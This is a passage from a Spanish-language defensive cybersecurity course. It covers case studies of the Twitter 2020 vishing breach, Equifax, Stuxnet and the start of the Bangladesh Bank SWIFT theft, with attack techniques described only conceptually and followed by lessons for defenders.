- Apoya el código abierto que usas. Si tu empresa gana dinero con software construido sobre bibliotecas gratuitas mantenidas por voluntarios, financiar auditorías o donar a esos proyectos es defensa preventiva, no caridad.

Si fueras el consultor

Si hubieras auditado a una empresa en 2020, un año antes de Log4Shell, tu informe habría pedido tres cosas que habrían cambiado el desenlace. Primero: inventario de componentes (SBOM) para las 20 aplicaciones más críticas, con escaneo automatizado de vulnerabilidades en dependencias. Cuando la crisis estalló, tus clientes habrían respondido "¿usamos Log4j?" en minutos, no en semanas. Segundo: endurecimiento de la arquitectura: aplicaciones Java corriendo con usuarios sin privilegios, sin salida libre a internet, y con la resolución JNDI desactivada donde no fuera necesaria. Tercero: un procedimiento de respuesta a vulnerabilidades críticas con roles definidos y un canal de comunicación de crisis, ensayado al menos una vez al año con un simulacro. Nada de esto habría impedido que la vulnerabilidad existiera (eso estaba fuera de tu control), pero habría convertido una crisis de semanas en un incidente de horas. Esa es la diferencia entre un defensor reactivo y uno preparado: no evitas que llueva, pero sí decides si tu casa se inunda.

Caso 3: El ataque a Twitter/X (2020) - Cuando el eslabón débil fue el teléfono de un empleado

Contexto

El 15 de julio de 2020, las cuentas de Twitter de Barack Obama, Joe Biden, Elon Musk, Bill Gates, Jeff Bezos, Apple, Uber y decenas de celebridades y empresas empezaron a publicar el mismo mensaje: una estafa de bitcoin que prometía duplicar cualquier cantidad enviada a una dirección. En pocas horas, la estafa recaudó más de 100,000 dólares en criptomonedas de víctimas que creyeron que era real.

Pero lo grave no era la estafa: era CÓMO se había logrado. Los atacantes no hackearon las contraseñas de los famosos. Hackearon a Twitter por dentro: obtuvieron acceso a las herramientas internas de administración de la plataforma, las que permiten restablecer correos, suspender cuentas y publicar en nombre de cualquier usuario. Con ese nivel de acceso, podían hacer lo que quisieran con cualquier cuenta del planeta. Unos adolescentes

(los responsables tenían entre 17 y 22 años) tuvieron en sus manos, durante horas, el panel de control de una de las plataformas de comunicación más influyentes del mundo.

El FBI investigó, hubo arrestos en Florida y Reino Unido, y el cerebro (Graham Ivan Clark, de 17 años) fue condenado. Pero el verdadero escándalo fue el método: no hubo un exploit sofisticado ni malware de última generación. Fue ingeniería social por teléfono contra empleados de Twitter que trabajaban desde casa durante la pandemia.

Qué pasó (narración)

Era plena pandemia de COVID-19. Miles de empleados de Twitter trabajaban desde sus casas, lejos de la oficina, de sus compañeros y de los controles físicos de seguridad corporativa. Los atacantes lo sabían y lo aprovecharon.

El plan fue meticuloso. Primero investigaron a empleados de Twitter en redes sociales y sitios profesionales: quiénes trabajaban en soporte, en operaciones, en equipos con acceso a herramientas internas. Luego los llamaron por teléfono haciéndose pasar por personal del departamento de TI de la propia Twitter. Con tono profesional y datos convincentes (que habían sacado de fuentes públicas), les dijeron que había un problema con la VPN corporativa y que necesitaban que entraran a un portal "interno" para "verificar" sus credenciales.

El portal era falso, una réplica perfecta de la página de login interna. Los empleados que cayeron escribieron ahí su usuario y contraseña... y también el código de su autenticación de dos factores, porque el sitio falso lo pedía en tiempo real y los atacantes lo reenviaban al instante al sistema real. Es el ataque conocido como "phishing en tiempo real" o "adversary-in-the-middle": el atacante se pone entre la víctima y el servicio legítimo y retransmite todo al momento, de modo que ni siquiera el doble factor de autenticación tradicional los detiene.

Con las credenciales de esos empleados, los atacantes entraron a la red interna de Twitter y encontraron lo que buscaban: la herramienta de administración de cuentas, a la que tenían acceso ciertos equipos de soporte. Desde ahí, restablecieron los correos asociados a las cuentas de los famosos, tomaron el control y publicaron la estafa de bitcoin.

Twitter reaccionó tarde pero con contundencia: bloqueó temporalmente la posibilidad de publicar para todas las cuentas verificadas (algo nunca visto), revocó el acceso a las herramientas internas y empezó la investigación. El daño a la confianza fue enorme: si unos adolescentes podían tomar el control de las cuentas de expresidentes y multimillonarios con unas llamadas telefónicas, ¿qué podría hacer un gobierno extranjero con más recursos y paciencia?

La investigación posterior reveló que los atacantes habían accedido también a los mensajes directos de 36 cuentas y descargado los datos completos de 7 cuentas. La estafa de bitcoin fue solo la parte visible; el acceso a mensajes privados de figuras públicas era potencialmente mucho más grave.

Las consecuencias fueron duraderas. Twitter enfrentó investigaciones de reguladores en Estados Unidos y Europa, demandas colectivas y una multa posterior de la FTC relacionada con sus prácticas de seguridad. La empresa se vio obligada a rediseñar sus controles internos y a limitar drásticamente quién podía acceder a las herramientas de administración. Para la industria, el caso se convirtió en la prueba definitiva de que la ingeniería social telefónica (vishing) es tan peligrosa como el phishing por correo, y aceleró la adopción de llaves de seguridad físicas en empresas tecnológicas. También dejó una lección incómoda sobre el trabajo remoto: la pandemia había dispersado a los equipos y debilitado los controles informales (preguntar al compañero de al lado, verificar en persona), justo cuando los atacantes más los necesitaban débiles. Como defensor, este caso te obliga a diseñar controles que funcionen aunque tu equipo esté disperso por el mundo.

Técnica y vector de ataque

El vector fue ingeniería social telefónica (vishing) combinada con phishing en tiempo real. Desglosemos la cadena defensiva que se rompió:

1. Reconocimiento: los atacantes usaron LinkedIn y redes sociales para identificar empleados con acceso a herramientas internas. La información estaba pública: puestos, equipos, fotos, hasta quién reportaba a quién.
2. Pretexting: llamaron haciéndose pasar por soporte de TI interno, aprovechando el contexto de la pandemia (todo el mundo tenía problemas con la VPN y el trabajo remoto; la historia era creíble).
3. Phishing en tiempo real: el portal falso capturaba usuario, contraseña y código 2FA al momento y los reenviaba al sistema real. Esto derrota al 2FA basado en códigos SMS o aplicaciones, porque el atacante usa el código en los segundos en que es válido.
4. Movimiento lateral interno: con acceso a la red corporativa, localizaron la consola de administración. Las credenciales robadas pertenecían a empleados cuyos roles tenían acceso a esa herramienta: el control de accesos interno era demasiado amplio.
5. Abuso de herramienta legítima: no necesitaron malware. Usaron las funciones normales de la consola (cambiar correos, restablecer accesos) para secuestrar cuentas. Desde el punto de vista de los logs, parecía trabajo legítimo de soporte.

El punto clave para el defensor: en ningún momento se explotó una vulnerabilidad de software. Se explotó la confianza, el contexto (pandemia, trabajo remoto) y un diseño de autenticación que no resistía un ataque en tiempo real.

Fallos defensivos

El fallo raíz: el acceso a la herramienta más poderosa de la empresa dependía solo de credenciales robables por teléfono. No había controles adicionales proporcionales al riesgo: la consola de administración era accesible desde la red corporativa general con el mismo login que el correo.

Segundo fallo: el doble factor implementado no era resistente a phishing. Los códigos de un solo uso (SMS o app) se pueden reenviar en tiempo real. La defensa correcta contra este ataque son las llaves de seguridad físicas (como YubiKey) con protocolos resistentes a phishing (FIDO2/WebAuthn), donde la autenticación está ligada criptográficamente al sitio real y no funciona en un sitio falso.

Tercer fallo: falta de verificación de identidad en soporte interno. Los empleados no tenían un procedimiento para verificar que quien llamaba diciendo ser "de TI" realmente lo era. En pandemia, con todos remotos, esa verificación era más necesaria que nunca y no existía.

Cuarto fallo: privilegios excesivos. Demasiados empleados tenían acceso a la consola de administración, o la consola no distinguía entre acciones de bajo riesgo (ver un perfil) y acciones críticas (cambiar el correo de una cuenta verificada). Las acciones críticas deberían requerir aprobación de una segunda persona.

Quinto fallo: monitoreo insuficiente de la herramienta interna. El uso masivo y anómalo de la consola (decenas de cuentas de alto perfil modificadas en minutos) no disparó ninguna alerta automática a tiempo. El fraude se detectó cuando los tuits ya eran virales, no cuando empezó el abuso interno.

Lecciones para el defensor (lista concreta)

- Usa autenticación resistente a phishing para accesos críticos. Llaves físicas FIDO2/WebAuthn para administradores, consolas internas y cuentas privilegiadas. Los códigos por SMS o app son mejores que nada, pero no detienen el phishing en tiempo real.
- Aplica el principio de mínimo privilegio a tus herramientas internas. No todos los empleados de soporte necesitan la misma consola. Divide por roles y por riesgo de la acción.

- Exige doble aprobación para acciones críticas. Cambiar el correo de una cuenta verificada, restablecer un acceso de administrador o modificar datos sensibles debería requerir que dos personas autorizadas lo aprueben (como las dos llaves de un misil).
- Crea un protocolo de verificación de identidad interna. Ningún empleado debe entregar credenciales ni seguir instrucciones "de TI" por teléfono sin verificar por un segundo canal (llamar de vuelta a un número oficial, verificar en el directorio interno, usar un código de verificación).
- Entrena contra vishing, no solo contra phishing por correo. Los simulacros de ingeniería social deben incluir llamadas telefónicas. La pandemia demostró que el trabajo remoto multiplica este riesgo.
- Monitorea el uso de tus consolas de administración. Define una línea base de uso normal y alerta ante anomalías: volumen inusual, horarios extraños, acciones sobre cuentas de alto perfil, accesos desde ubicaciones nuevas.
- Limita la información pública sobre tu organigrama. Revisa qué publican tus empleados en LinkedIn sobre sus roles, herramientas y accesos. El reconocimiento del atacante empieza ahí.
- Ten un plan de contención para compromiso interno. Twitter hizo bien en bloquear publicaciones de verificados y revocar accesos rápido. Define de antemano: ¿quién puede ordenar una medida drástica así? ¿En cuántos minutos?

Si fueras el consultor

Si en 2019 hubieras auditado la seguridad interna de Twitter, tus recomendaciones habrían sido incómodas pero proféticas. Primero: migrar a todos los empleados con acceso a herramientas internas a llaves de seguridad físicas FIDO2, eliminando los códigos reenviables. Segundo: rediseñar la consola de administración con control de acceso granular y doble aprobación para acciones sobre cuentas verificadas o con más de cierto número de seguidores. Tercero: un programa de concientización con simulacros de phishing trimestrales, especialmente reforzado por el trabajo remoto. Cuarto: un sistema de alertas sobre uso anómalo de la consola, con un responsable de guardia. El costo de todo esto era una fracción mínima del daño reputacional y regulatorio que siguió al incidente. La lección para ti como futuro consultor: los controles sobre las herramientas internas suelen ser los más descuidados y los más críticos, porque ahí está "la llave maestra". Cuando audites, pregunta siempre: ¿quién tiene la llave maestra, cómo se protege y quién vigila al que la usa? Documenta el riesgo en términos que la dirección entienda: no "riesgo de suplantación en consola interna", sino "un atacante con el teléfono de un empleado de soporte puede publicar como cualquier usuario del planeta, incluidos jefes de estado". El lenguaje del riesgo es el idioma de la dirección; si no lo hablas, tus recomendaciones se archivan.

Caso 4: Equifax (2017) - La filtración de 147 millones de personas por no parchear a tiempo

Contexto

Equifax es una de las tres grandes agencias de crédito de Estados Unidos: guarda el historial financiero de casi todos los adultos del país. En septiembre de 2017 anunció que entre mayo y julio de ese año, atacantes habían robado los datos personales de 147 millones de personas: nombres, fechas de nacimiento, direcciones, números de Seguro Social y, en 209,000 casos, números de tarjetas de crédito. Es una de las filtraciones más graves de la historia, no por el número (ha habido mayores), sino por la sensibilidad: el número de Seguro Social estadounidense no se puede "cancelar" como una tarjeta; es un identificador de por vida.

La causa fue una vulnerabilidad en Apache Struts, un framework de código abierto para aplicaciones web en Java, para la cual existía un parche desde marzo de 2017. Equifax no lo aplicó en uno de sus sistemas. Los atacantes encontraron ese sistema desactualizado, entraron, y durante 76 días se movieron por la red robando datos sin ser detectados. Cuando la empresa por fin lo descubrió, el daño ya estaba hecho.

El costo: más de 1,400 millones de dólares entre multas, demandas, compensaciones y remediación. El CEO renunció. El Congreso de Estados Unidos investigó. Y 147 millones de personas quedaron expuestas de por vida al robo de identidad.

Qué pasó (narración)

En marzo de 2017 se hizo pública una vulnerabilidad crítica en Apache Struts 2 (CVE-2017-5638): permitía a un atacante ejecutar comandos en el servidor con solo enviar una petición web manipulada. Era grave, tenía exploit público y el parche estaba disponible de inmediato. El equipo de seguridad de Equifax, según la investigación posterior, sí se enteró: reenvió el aviso internamente pidiendo que se parchearan los sistemas afectados.

Pero en la inmensidad de la infraestructura de Equifax, un sistema quedó fuera: un portal web de disputas de crédito que usaba una versión vulnerable de Struts. Nadie lo parcheó. Quizá nadie sabía que existía, quizá el responsable no vio el correo, quizá se asumió que "alguien más" lo haría. El resultado fue el mismo.

En mayo de 2017, los atacantes (el gobierno de Estados Unidos acusó formalmente a cuatro miembros del ejército chino) escanearon internet buscando servidores con Struts vulnerable, encontraron el portal de Equifax y entraron. Una vez dentro, no hicieron ruido: durante semanas exploraron la red interna, encontraron las bases de datos con la información personal, y empezaron a extraerla poco a poco.

Aquí viene el detalle más indignante para un defensor: Equifax TENÍA herramientas de detección de intrusos. Pero el certificado digital de una de esas herramientas (el que le permitía inspeccionar el tráfico cifrado) había expirado diez meses antes y nadie lo renovó. La herramienta estaba ciega: el tráfico malicioso pasaba frente a ella sin que pudiera verlo. Los atacantes, además, usaron técnicas para esconder la extracción de datos dentro de tráfico aparentemente normal.

El 29 de julio de 2017, durante una revisión, alguien notó actividad sospechosa y por fin se descubrió la intrusión. Los atacantes llevaban 76 días dentro. Equifax tardó más de un mes en hacerlo público (lo anunció el 7 de septiembre), tiempo que usó para investigar el alcance, pero que también generó críticas por la tardanza en avisar a los afectados.

La investigación del Congreso reveló una cultura de seguridad desastrosa: parches sin aplicar, certificados expirados, falta de inventario de sistemas, y ejecutivos que vendieron acciones antes del anuncio público (lo que generó una investigación por uso de información privilegiada, aunque finalmente no hubo cargos).

El desenlace regulatorio marcó un antes y un después. Equifax aceptó pagar hasta 700 millones de dólares en un acuerdo con la FTC, la Oficina de Protección Financiera del Consumidor y 50 estados: uno de los acuerdos más grandes por una filtración de datos. El Congreso celebró audiencias donde el ex CEO admitió fallos básicos ante legisladores incrédulos. El caso impulsó leyes estatales de protección de datos y congelamiento de crédito gratuito, y se convirtió en referencia obligada en cada discusión sobre responsabilidad corporativa en ciberseguridad. Para las víctimas, el daño fue permanente: con nombre, fecha de nacimiento y Seguro Social en manos de criminales, millones de personas quedaron expuestas de por vida al robo de identidad, y los intentos de fraude con esos datos continúan años después. Como defensor, Equifax te enseña que custodiar datos de terceros es una responsabilidad casi sagrada: cuando los pierdes, no pierdes "registros", pierdes la tranquilidad de millones de personas que jamás te eligieron como su guardián.

Técnica y vector de ataque

El vector inicial fue la explotación de CVE-2017-5638 en Apache Struts 2. La vulnerabilidad estaba en cómo Struts procesaba el encabezado Content-Type de las peticiones HTTP: si el encabezado contenía una expresión maliciosa del lenguaje OGNL (Object-Graph Navigation Language), el servidor la evaluaba y ejecutaba comandos del sistema operativo. En la práctica: una sola petición web, sin autenticación, daba al atacante una terminal con privilegios en el servidor.

Una vez dentro del portal de disputas, los atacantes hicieron reconocimiento interno: descubrieron que desde ese servidor podían llegar a otras bases de datos de la red. Usaron credenciales y accesos que encontraron en el camino (movimiento lateral clásico), localizaron los repositorios con datos personales y montaron la exfiltración.

La exfiltración fue sigilosa y prolongada: dividieron los datos en fragmentos pequeños y los enviaron a servidores externos disfrazando el tráfico. Como la herramienta de inspección de tráfico tenía el certificado expirado, no podía descifrar ni analizar ese tráfico saliente. Además, los atacantes borraban sus huellas en los logs que podían alcanzar.

El dato técnico que debe quedarte: todo empezó con UNA aplicación web desactualizada expuesta a internet. No hizo falta phishing, ni malware avanzado, ni un insider. Solo un parche no aplicado en un sistema que nadie vigilaba.

Fallos defensivos

El fallo central: gestión de parches rota. El aviso se envió, pero no había un proceso que garantizara que TODOS los sistemas afectados se parchearan ni una verificación posterior. En seguridad, "pedir que se parchee" no es un control; "verificar que se parcheó" sí lo es.

Segundo fallo: inventario incompleto. Equifax no tenía un registro confiable de todas sus aplicaciones y sus versiones. El portal vulnerable era, en la práctica, un sistema fantasma: existía, estaba expuesto a internet, y nadie lo tenía en la mira.

Tercer fallo: el certificado expirado del sistema de detección. Una herramienta de seguridad sin mantenimiento es peor que no tenerla, porque genera falsa confianza. Nadie supervisaba la salud de las propias herramientas de defensa.

Cuarto fallo: falta de segmentación y monitoreo de tráfico interno. Una vez dentro del portal, los atacantes pudieron moverse hacia las bases de datos más sensibles sin encontrar barreras internas ni alertas.

Quinto fallo: detección tardía y respuesta lenta. 76 días de permanencia del atacante es una eternidad. Un monitoreo efectivo de tráfico saliente anómalo (grandes volúmenes de datos saliendo hacia destinos desconocidos) debería haberlo detectado en días, no meses.

Sexto fallo: cultura organizacional. La seguridad no tenía la autoridad ni los recursos para imponer el parchado, y la alta dirección no la trataba como prioridad hasta que fue demasiado tarde. Los ejecutivos que vendieron acciones antes del anuncio mostraron dónde estaban las prioridades.

Lecciones para el defensor (lista concreta)

- El parchado necesita verificación, no solo avisos. Define un proceso: aviso, plazo, aplicación, verificación automatizada y reporte de excepciones. Lo que no se verifica, no existe.
- Inventaría todo lo expuesto a internet. Escanea periódicamente tu propio perímetro desde fuera (como lo haría un atacante) y compara contra tu inventario oficial. Todo lo que aparezca y no esté inventariado es un riesgo.
- Vigila la salud de tus herramientas de seguridad. Certificados, licencias, actualizaciones de firmas, espacio en disco de los logs: ponles monitoreo y alertas como a cualquier sistema crítico. Una defensa ciega es decoración.
- Monitorea la exfiltración, no solo la intrusión. Define una línea base del tráfico saliente de tus servidores y alerta ante volúmenes anómalos o destinos desconocidos. Muchos ataques se descubren por cómo salen los datos, no por cómo entra el atacante.

- Segmenta las bases de datos sensibles. Un portal web de cara al público jamás debería tener ruta directa a la base de datos maestra de 147 millones de registros. Capas, firewalls internos y accesos justificados.
- Reduce el tiempo de permanencia del atacante. La métrica que importa no es solo "¿nos atacaron?" sino "¿cuánto tardamos en detectarlo?". Ejercicio: si un atacante entrara hoy, ¿en cuántos días lo notarías? Trabaja para que sean horas.
- La seguridad necesita autoridad ejecutiva. El responsable de seguridad debe poder imponer plazos de parchado y detener despliegues inseguros, con respaldo directo de la dirección. Sin dientes, el área de seguridad es un buzón de sugerencias.
- Ten un plan de comunicación de crisis. Equifax fue criticada por tardar en avisar y por ofrecer un servicio de monitoreo propio con cláusulas abusivas. Define antes de la crisis: qué se comunica, cuándo, a quién y con qué tono.

Si fueras el consultor

Si hubieras auditado a Equifax a principios de 2017, tu informe habría sido una lista de urgencias. Primero: implementar un sistema de gestión de parches con verificación automatizada y un tablero visible para la dirección, con SLA de 72 horas para vulnerabilidades críticas en sistemas expuestos. Segundo: descubrimiento completo de activos expuestos a internet y conciliación contra el inventario oficial; cada sistema fantasma se apaga o se registra y se parchea. Tercero: auditoría de la salud de todas las herramientas de seguridad (certificados, firmas, cobertura) con monitoreo continuo. Cuarto: segmentación entre los portales públicos y las bases de datos centrales, más monitoreo de exfiltración con alertas de volumen. Quinto: elevar el reporte de seguridad al consejo directivo con métricas claras (tiempo medio de parchado, sistemas sin parchar, tiempo de detección). El costo de este programa era una fracción del 1% de lo que costó el incidente. Cuando presentes un informe así a un cliente, usa este caso como argumento: Equifax no cayó por un ataque imposible de detener; cayó por no hacer lo básico de forma sistemática. Tu trabajo como consultor es convertir "lo básico" en un proceso que nadie pueda saltarse por descuido. Y lleva siempre un número bajo el brazo: pregúntale al director financiero cuánto costaría un día sin sistemas, multiplícalo por 76 días de intrusión no detectada, y compara con el costo de tu programa de parchado. La seguridad se vende con matemáticas, no con miedo: el miedo se olvida en una semana, los números quedan en el acta del consejo.

Caso 5: Stuxnet (2010) - El malware que cruzó del mundo digital al mundo físico

Contexto

En 2010, los expertos en seguridad descubrieron algo que no encajaba con nada conocido: un gusano informático de una complejidad sin precedentes, que no robaba datos ni pedía rescate, sino que buscaba un objetivo muy específico: los controladores industriales (PLC) de Siemens que gestionaban las centrifugadoras de enriquecimiento de uranio en la planta nuclear de Natanz, Irán. Su misión era sabotearlas físicamente: hacer que giraran a velocidades destructivas hasta romperse, mientras mostraba en las pantallas de los operadores que todo estaba normal.

Stuxnet es considerado la primera arma cibernética de la historia: un programa diseñado por estados (atribuido a una operación conjunta de Estados Unidos e Israel, conocida como "Juegos Olímpicos") para causar daño físico a infraestructura crítica de otro país sin disparar un solo tiro. Cambió para siempre la conversación sobre ciberseguridad: demostró que un malware podía romper máquinas reales, no solo archivos.

Para el defensor, Stuxnet es el caso fundacional de la seguridad OT (Operational Technology): la protección de los sistemas que controlan procesos físicos (plantas, represas, redes eléctricas, fábricas). Todo lo que creías saber de seguridad informática tuvo que adaptarse a un mundo donde un fallo significa una explosión, un apagón o una catástrofe ambiental.

Qué pasó (narración)

La planta de Natanz estaba, en teoría, aislada: sus redes de control no estaban conectadas a internet (lo que se llama "air gap" o brecha de aire). ¿Cómo llegó entonces el malware? Por el vector más humano de todos: una memoria USB. Alguien (un contratista, un infiltrado, un ingeniero desprevenido) conectó una USB infectada a una computadora de la red interna, y el gusano hizo el resto.

Stuxnet era una obra de ingeniería maliciosa de nivel militar. Medía unos 500 KB (enorme para un malware de la época) y usaba CUATRO vulnerabilidades de día cero de Windows (fallos desconocidos para Microsoft, valiosísimos en el mercado negro), además de dos certificados digitales robados de empresas reales taiwanesas para firmar sus controladores y parecer software legítimo. Solo desarrollar algo así requería un equipo de expertos, laboratorios de prueba con el hardware objetivo real y un presupuesto de estado.

Una vez dentro de la red, el gusano buscaba computadoras con el software Step 7 de Siemens, el que programa los PLC. Cuando lo encontraba, se instalaba silenciosamente y esperaba. Su objetivo final eran los PLC que controlaban los variadores de frecuencia de las centrifugadoras: Stuxnet reprogramaba esos controladores para que las centrifugadoras aceleraran y frenaran bruscamente, sometiénolas a un estrés mecánico que las destruía en

semanas o meses. Y mientras tanto, interceptaba las lecturas de los sensores y enviaba a los operadores datos falsos de normalidad: en pantalla todo se veía perfecto mientras las máquinas se despedazaban.

Se estima que destruyó alrededor de 1,000 centrifugadoras, cerca del 10% de las instaladas en Natanz, retrasando el programa nuclear iraní varios años. Pero Stuxnet no se quedó en Irán: por un error (o por diseño), el gusano se propagó más allá del objetivo y terminó infectando cientos de miles de computadoras en todo el mundo, incluyendo sistemas industriales en India, Indonesia y otros países. Fue descubierto cuando una empresa bielorrusa de antivirus investigó por qué unas computadoras en Irán se reiniciaban solas. El análisis posterior, liderado por investigadores como los de Symantec, reveló la magnitud del hallazgo.

La ironía final: al escapar a internet, Stuxnet regaló su código al mundo. Técnicas que costaron millones en desarrollo quedaron disponibles para que cualquier grupo criminal o gobierno las estudiara, copiara y reutilizara. Los ataques posteriores a infraestructura (como los apagones en Ucrania en 2015 y 2016) beben directamente de las lecciones de Stuxnet.

El descubrimiento también abrió una era de malware "hermano": tras Stuxnet aparecieron Duqu (espionaje industrial con código emparentado) y Flame (una plataforma de espionaje modular gigantesca), lo que confirmó que existía todo un arsenal estatal operando en silencio. Los investigadores pasaron años desentrañando ese ecosistema. Para la industria de la seguridad OT, Stuxnet fue el parteaguas: antes de 2010, la seguridad de sistemas de control era un nicho oscuro; después, se convirtió en una disciplina con conferencias, certificaciones y presupuestos propios. Gobiernos de todo el mundo empezaron a clasificar sus infraestructuras críticas y a exigir evaluaciones de seguridad. Y quedó una advertencia permanente: el código de Stuxnet sigue disponible para quien quiera estudiarlo, lo que significa que las técnicas de sabotaje físico vía PLC ya no son secreto de estado: son conocimiento público que cualquier defensor de infraestructura crítica debe conocer mejor que el atacante.

Técnica y vector de ataque

El vector de entrada burló el "air gap" usando medios extraíbles: la USB infectada explotaba una vulnerabilidad en el manejo de accesos directos de Windows (el famoso fallo LNK, CVE-2010-2568) para ejecutarse automáticamente al conectar la memoria, sin que el usuario abriera nada. Lección eterna: el air gap protege contra la red, no contra las personas que cruzan la brecha con dispositivos en el bolsillo.

La propagación interna combinaba múltiples mecanismos: otras tres vulnerabilidades de día cero (incluyendo una en el servicio de impresión en red y otra de escalación de privilegios),

robo de credenciales, y copias a través de recursos compartidos. El gusano estaba diseñado para propagarse de forma controlada (limitaba sus saltos), pero aun así se escapó.

La carga útil era lo verdaderamente innovador: Stuxnet contenía un "rootkit para PLC". Interceptaba la comunicación entre el software de programación y el controlador Siemens S7-300, inyectaba su propio código en el PLC y luego falsificaba las respuestas para ocultar la manipulación. Atacaba específicamente variadores de frecuencia de dos fabricantes (uno iraní, uno finlandés) operando entre 807 y 1210 Hz: una firma tan específica que solo podía corresponder a centrifugadoras de enriquecimiento. Si no encontraba exactamente ese hardware, el gusano no hacía daño: era un arma de precisión, no una bomba indiscriminada.

También incluía mecanismos anti-análisis: se desinstalaba solo después de cierta fecha, evitaba infectar más de tres máquinas desde cada origen y usaba cifrado para esconder su configuración. Todo diseñado para operar años sin ser descubierto.

Fallos defensivos

El fallo conceptual: creer que el air gap es una defensa completa. Natanz estaba desconectada de internet, pero su seguridad dependía de que ningún humano introdujera nunca un dispositivo infectado. No había control de medios extraíbles, ni estaciones de escaneo para USB, ni políticas efectivas al respecto.

Segundo fallo: los sistemas de control corrían sobre Windows sin parches ni antivirus actualizados, porque "son sistemas críticos que no se pueden tocar". Esa mentalidad (el miedo a parchear OT) dejó las cuatro vulnerabilidades de día cero... bueno, las de día cero no se parchean porque no se conocen, pero la falta de higiene general (antivirus desactualizado, sin monitoreo) facilitó que el gusano viviera años sin ser visto.

Tercer fallo: los PLC y el software de Siemens no tenían verificación de integridad del código. El controlador aceptaba la reprogramación maliciosa sin comprobar firmas ni alertar de cambios no autorizados. Hoy existen PLC con arranque seguro y control de cambios, pero en 2010 era tierra de nadie.

Cuarto fallo: los operadores no tenían forma independiente de verificar el proceso físico. Confiaban ciegamente en las lecturas digitales, que Stuxnet falsificaba. No había instrumentación analógica o independiente que contradijera la mentira digital.

Quinto fallo (para el resto del mundo): la industria OT ignoró durante años que sus sistemas eran vulnerables, amparada en la "seguridad por oscuridad" (nadie conoce nuestros protocolos propietarios) y en el aislamiento. Stuxnet demostró que un atacante con recursos cruza esas barreras, y que una vez publicado el código, atacantes sin recursos de estado también pueden intentarlo.

Lecciones para el defensor (lista concreta)

- El air gap es una capa, no una estrategia. Complementa el aislamiento con control estricto de medios extraíbles: USB bloqueados por defecto, estaciones de escaneo ("sheep dip") para los autorizados, y registro de quién introduce qué dispositivo dónde.
- Inventaría y segmenta tus redes OT. Separa la red corporativa (IT) de la red de control (OT) con zonas y conductos (modelo Purdue): ningún tráfico directo entre el correo de la oficina y los PLC. Cada salto entre zonas debe pasar por un punto controlado y monitoreado.
- Monitorea la integridad de los PLC. Implementa control de cambios en la lógica de los controladores: cualquier modificación al programa del PLC debe requerir autorización, quedar registrada y generar una alerta. Compara periódicamente el código del PLC contra una copia maestra conocida.
- No confíes ciegamente en una sola fuente de datos. Para procesos críticos, mantén instrumentación independiente (sensores o lecturas que no pasen por el mismo sistema digital) que permita detectar discrepancias como las que Stuxnet ocultaba.
- Parchea OT con un proceso adaptado, no con excusas. Sí, parchear sistemas de control es delicado y requiere ventanas de mantenimiento y pruebas. Pero "nunca se puede tocar" no es una política: es una rendición. Define ventanas programadas, ambientes de prueba que repliquen la planta y un plan de reversión.
- Vigila a tus contratistas y proveedores. Stuxnet probablemente entró por la cadena de suministro humana. Aplica los mismos controles de dispositivos y accesos a contratistas, técnicos externos y personal temporal.
- Prepara tu respuesta a incidentes OT con el equipo de operaciones. Un incidente en planta no lo resuelve solo el área de TI: necesitas a los ingenieros de proceso, procedimientos de parada segura y criterios claros de cuándo desconectar sistemas sin causar un accidente mayor.

- Estudia el código de Stuxnet (está disponible para análisis académico). Como defensor, conocer la anatomía del ataque más sofisticado contra OT es la mejor clase práctica: firmas de rootkits en PLC, técnicas de falsificación de sensores y vectores de propagación en redes industriales.

Si fueras el consultor

Si en 2008 hubieras asesorado a una planta industrial crítica, tu programa habría tenido cinco pilares. Primero: arquitectura de red por zonas con un DMZ industrial entre IT y OT, diodos de datos o firewalls unidireccionales donde el proceso solo necesite enviar información hacia afuera. Segundo: política de medios extraíbles con bloqueo técnico (no solo un papel firmado) y estaciones de escaneo. Tercero: gestión de cambios en PLC con registro, autorización y verificación de integridad. Cuarto: monitoreo de anomalías en el tráfico de control (un PLC que de pronto recibe reprogramaciones fuera de ventana de mantenimiento es una alerta roja). Quinto: simulacros conjuntos IT/OT de respuesta a incidentes, incluyendo el escenario "el atacante falsifica las lecturas": ¿cómo detectarías que tus pantallas mienten? La lección de Stuxnet para tu carrera como consultor es que la seguridad OT no es "TI con otro nombre": exige entender el proceso físico, hablar el idioma de los ingenieros de planta y respetar que aquí un falso positivo puede parar una fábrica. El defensor que domine ambos mundos (bits y fierros) es de los profesionales más valiosos y escasos del mercado.

Caso 6: El robo a Bangladesh Bank / SWIFT (2016) - El atraco bancario más grande de la era digital

Contexto

En febrero de 2016, el banco central de Bangladesh descubrió que alguien había robado 81 millones de dólares de su cuenta en el Banco de la Reserva Federal de Nueva York. El plan original era robar casi 1,000 millones. Los atacantes (el grupo Lazarus, vinculado a Corea del Norte, según la acusación formal de Estados Unidos) no asaltaron una sucursal ni amenazaron a nadie: lo hicieron desde una computadora, manipulando el sistema de mensajería interbancaria SWIFT, la red que los bancos del mundo usan para ordenar transferencias internacionales.

El caso es una obra maestra del crimen financiero digital y una lección brutal sobre la seguridad de los sistemas que mueven dinero real. Los atacantes estudiaron durante meses cómo funcionaba la operación del banco, esperaron el momento perfecto (un fin de semana largo, cuando Bangladesh celebraba su día de la independencia y las oficinas estarían vacías)

y ejecutaron 35 transferencias fraudulentas en cuestión de horas. Solo un error de ortografía en una de las órdenes ("fandation" en vez de "foundation") y la sospecha de un banco intermediario evitaron que el robo llegara a los 951 millones planeados.

Qué pasó (narración)

Todo empezó, como tantas veces, con un correo. A principios de 2016, empleados del banco central de Bangladesh recibieron correos de phishing con apariencia de comunicaciones de personas reales (posiblemente con documentos de Word maliciosos). Al menos uno cayó, y los atacantes obtuvieron acceso a la red del banco. Pero no actuaron de inmediato: se dedicaron a observar.

Durante semanas o meses, los intrusos estudiaron el funcionamiento interno: cómo se operaba la terminal de SWIFT (el software Alliance Access), cuáles eran los horarios de operación, cómo se imprimían las confirmaciones de las transferencias, quién autorizaba qué. Instalaron un malware a medida, diseñado específicamente para ese entorno, con una función diabólica: interceptaba las confirmaciones impresas de las transferencias SWIFT y las alteraba o las ocultaba, de modo que las operaciones fraudulentas no aparecieran en los reportes que revisaba el personal.

El viernes 5 de febrero de 2016 (viernes en Bangladesh es día de descanso; era además el fin de semana previo a feriados), los atacantes tomaron el control de la terminal SWIFT y emitieron 35 órdenes de transferencia por un total de 951 millones de dólares, dirigidas a cuentas en Filipinas y Sri Lanka: fundaciones fantasma, casinos y cuentas de prestanombres. El dinero empezó a moverse por el sistema financiero internacional en cuestión de minutos.

